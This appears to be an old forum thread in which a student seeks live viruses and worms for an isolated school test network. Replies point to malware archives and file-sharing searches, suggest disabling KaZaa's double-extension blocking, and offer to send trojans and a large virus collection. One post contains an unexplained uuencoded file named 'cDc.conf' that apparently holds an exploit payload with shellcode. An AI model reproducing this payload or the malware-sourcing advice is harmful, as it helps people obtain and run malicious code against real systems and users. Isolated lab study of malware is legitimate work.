-
Any good virii sites?
We have an isolated test network set up. It has a Windows 2003 Server as the DC, running DHCP, DNS, and Exchange 2003. There are 10 client computers running Windows XP Professional. We have no AV software running on the network. The purpose of the network is to introduce virii and worms, to study how they destroy the network. After that, we are going to rebuild the network and install AV software, and reintroduce the virii/worms. Pretty fun stuff for school work, huh?
Anyway, does anybody know of any sites with live virii and worms? I've searched Google, but I have a headache from reading too much l337.
-
Don't know why someone negged you, as you have a valid reason and background for doing it. I know plenty of schools that do this as an educational experiment to learn how viruses work in the wild, as a study.
I can't recall anything off the top of my head, but your best bet would be to simply install as much spyware and unsafe looking software as possible from the internet.
-
Quote:
Originally posted here by pooh sun tzu
Don't know why someone negged you, as you have a valid reason and background for doing it.
That reminds me of something. Before anybody asks, all the computers on the network have removable hard drives. After class, the instructor takes all the hard drives out and locks them in his office, so that any virii we introduce will not be let out into the wild.
Anyway, that's a good idea getting some spyware.
-
i went threw my VX links but they dont seem to be with us any longer but i know ive gotten godspeed off of packetstorm security. you might try looking there.
-
-
Code:
begin 600 cDc.conf
M6T-O;F9E<F5N8V53:&]R=&-U=%T-"D-O;F9.86UE/65X<&QO9&4-"D%D9')E
M<W,]/BXN+BXN+BXN+BXN+BXN+BXN+BXN+BXN+BXN+BXN+BXN+BXN+BXN+BXN
M+BXN+BXN+BXN+BXN+BXN+BXN+BXN+BXN+BXN+BXN+BXN+BXN+BXN+BXN+BXN
M+BXN+BXN+BXN+BXN+BXN+BXN+BXN+BXN+BXN+BXN+BXN+BXN+BXN+BXN+BXN
M+BXN+BXN+BXN+BXN+BXN+BXN+BXN+BXN+BXN+BXN+BXN+BXN+BXN+BXN+BXN
M+BXN+BXN+BXN+BXN+BXN+BXN+BXN+BXN+BXN+BXN+BXN+BXN+BXN+BXN+BXN
M+BXN+BXN+BXN+BXN+BXN+BXN+BXN+BXN+BXN+BXN+BXN+BXN+BXQ,C,T=BI@
M:I"0D)"0D)"0D)`SR;B`4_]C+(#!P!BQM$B`,(#B^KY\$&!J4%#_%HOP6XO[
M9H'O2__\,\F`Z?I#,L#7A,!U^$-14U;_%7@08&JK6>+J0S+`UX3`=?A#4U/_
M%7P08&J+\)"0D)`SR8/I_$,RP->$P'7X0U%35O\5>!!@:JM9XNJ0D#/`9DC1
MX#/24%+_5^R+\#/24E)24E?_5_`STE)24I!2B]>#ZE"0D)!24/]7^%<STF9*
MT>)25E#_5_R0D)`STE*+UX/J,$*0D%+_5]C_-U90B]C_5]Q3_U?@D)"0,])"
M4HO7@^HP0I"04O]7Y)"0D/]7Z,S,S"TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM
M+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM
M+<O%TL[%S+.R@-_LX_+EX?2`W^SW\NGTY8#?[./L[_/E@-?I[L7XY>.`Q?CI
M]-#R[^/E\_.`Q^SOXN'LP>SL[^.`U\G.R<[%U(#)[O3E\N[E],_PY>[!@,GN
M].7R[N7TP^SO\^7(X>[D[.6`R>[TY?+NY?3/\.7NU?+LP8#)[O3E\N[E]-+E
MX>3&Z>[email protected]]/"ZKZ_W]_>N[+#PZ/2NX^_MK_[DZ>SD[^>OY>'T[>6NY?CE
M@#P-"D-A;&Q&;&%G<STV-34T,PT*5')A;G-P;W)T/3,R-S8W#0H-"@T*#0H-
)"@T*#0H-"@T*
`
end
-
Google for 29A... Virii is there but I would read everything there, those guys know a lot that could help you make yourself more secure.
-Cheers-
-
I am afraid that you are going to have to stick to google, as those sorts of sites don't stay up for long :) Any that I knew have long gone.
You might also search for "keyloggers" and "trojans" for a bit of variety, also to show you what AVs frequently miss.
Try looking for "virus toolkit" and "worm toolkit" then you can make some of your own?
Your school might be able to get some samples if they make an official request to their AV supplier?
Try and find people with reasonable French, german and Spanish as I have found more sites in those languages, the times that I have looked.
Another one is "warez" as those sites sometimes have a virus section.
I would suggest detaching one of your 10 machines and connecting it independently to the net for the collection process. Do NOT do it on your own computer, the sites where you can find that sort of stuff are NOT safe!
Cheers
-
Everyone get back I just had a massive Brain Storm ...... in kazza search for Virus or Worm hell even the name of it you might get lucky real quick ;)
http://www.circusmobile.com/Fake_C_downLoad.html
-
I might be wrong on this and im feeling too lazy to check but dont he file archives here have some older virii in them? I mean their out dated as helll but on aysytem with no ZV they could still do some damage right?
-
yournightmare, I am sending you via PM feature some mild trojans that I have saved. They will be in Zipped formate, and you probly will have to place them in the directory they were taken from, as they don't have the excuteable with them. Hope these help a little.
-
Thanks everybody. I think I have enough to wreck shop on our little network. I got loveletter, muma, chainsaw, a few trojans/backdoors, and the coup de grace...the "cute" vb script.
After we slick the hard drives and rebuild the network, we are going to create a DMZ and try to penetrate it. That sounds pretty fun.
-
Check out the pictuer in my profile.
Is that enough stuff for you? If you want I'll put a copy into the mail for you. I refuse to upload this anywhere. It is far to massive a collection to put into one place., not to mention it is a very big weapon if put into the wrong hands.
It even has some old school stuff like Skam works macro engine, and Nowhere Man's VCL. Several good polomorphic engines. It comes complete with some very old but nice examples of stuff like zarinohva and stoned. Trojans, and worms both included. A few compliers for the assembly stuff.
Don't know how much time you have for this project, but I'd be willing to send one out. Just let me know
For those interested, this collection was put together to test different AV software abilities. Norton held the highest marks only missing two or three on the cd. McAffee missed 15 or so.
Be safe and stay free
-
search for a magazine called 40hex, thats a magazine devoted to viri.
you could set up an un-patched 2000/xp box and capture viri from the internet on that...
try www.astalavista.com and neworder.box.sk there links have some good virus related links
i2c
-
Dopeydadwarf:
I am very interested in the collection, I would love to be able to throw something like that against my defenses. Did you put it together yourself?
I would like to second the KaZaa suggestion, with one minor change. Remove anything that blocks files with double extensions from being downloaded. :) The way KaZaa is set up on a default install prevents many viruses from being downloaded.
-
How did AVG hold up to the test dopey?
-
Look on www.neworder.box.sk on there stuff have fun
-
My instructor was pretty surprised at the virii I found. I didn't get to play with them Friday because *somebody* screwed with the server. The clock was off by 12 hours, the NIC was disabled, DHCP was disabled, the DNS had the wrong IP address, and some users passwords were changed. My instructor denies all knowledge, although he is the only one with access to the hard drives. Next week is midterms, so we are going to unleash the virii/worms the week after next. I'll report back if you guys are interested.
-
try 29a.host.sk
and the linx there
enjoy
..::|>@ng3lu$<|::..
-
i got myself nice source code. :D msblaster.
anyways, check www.astalavista.com
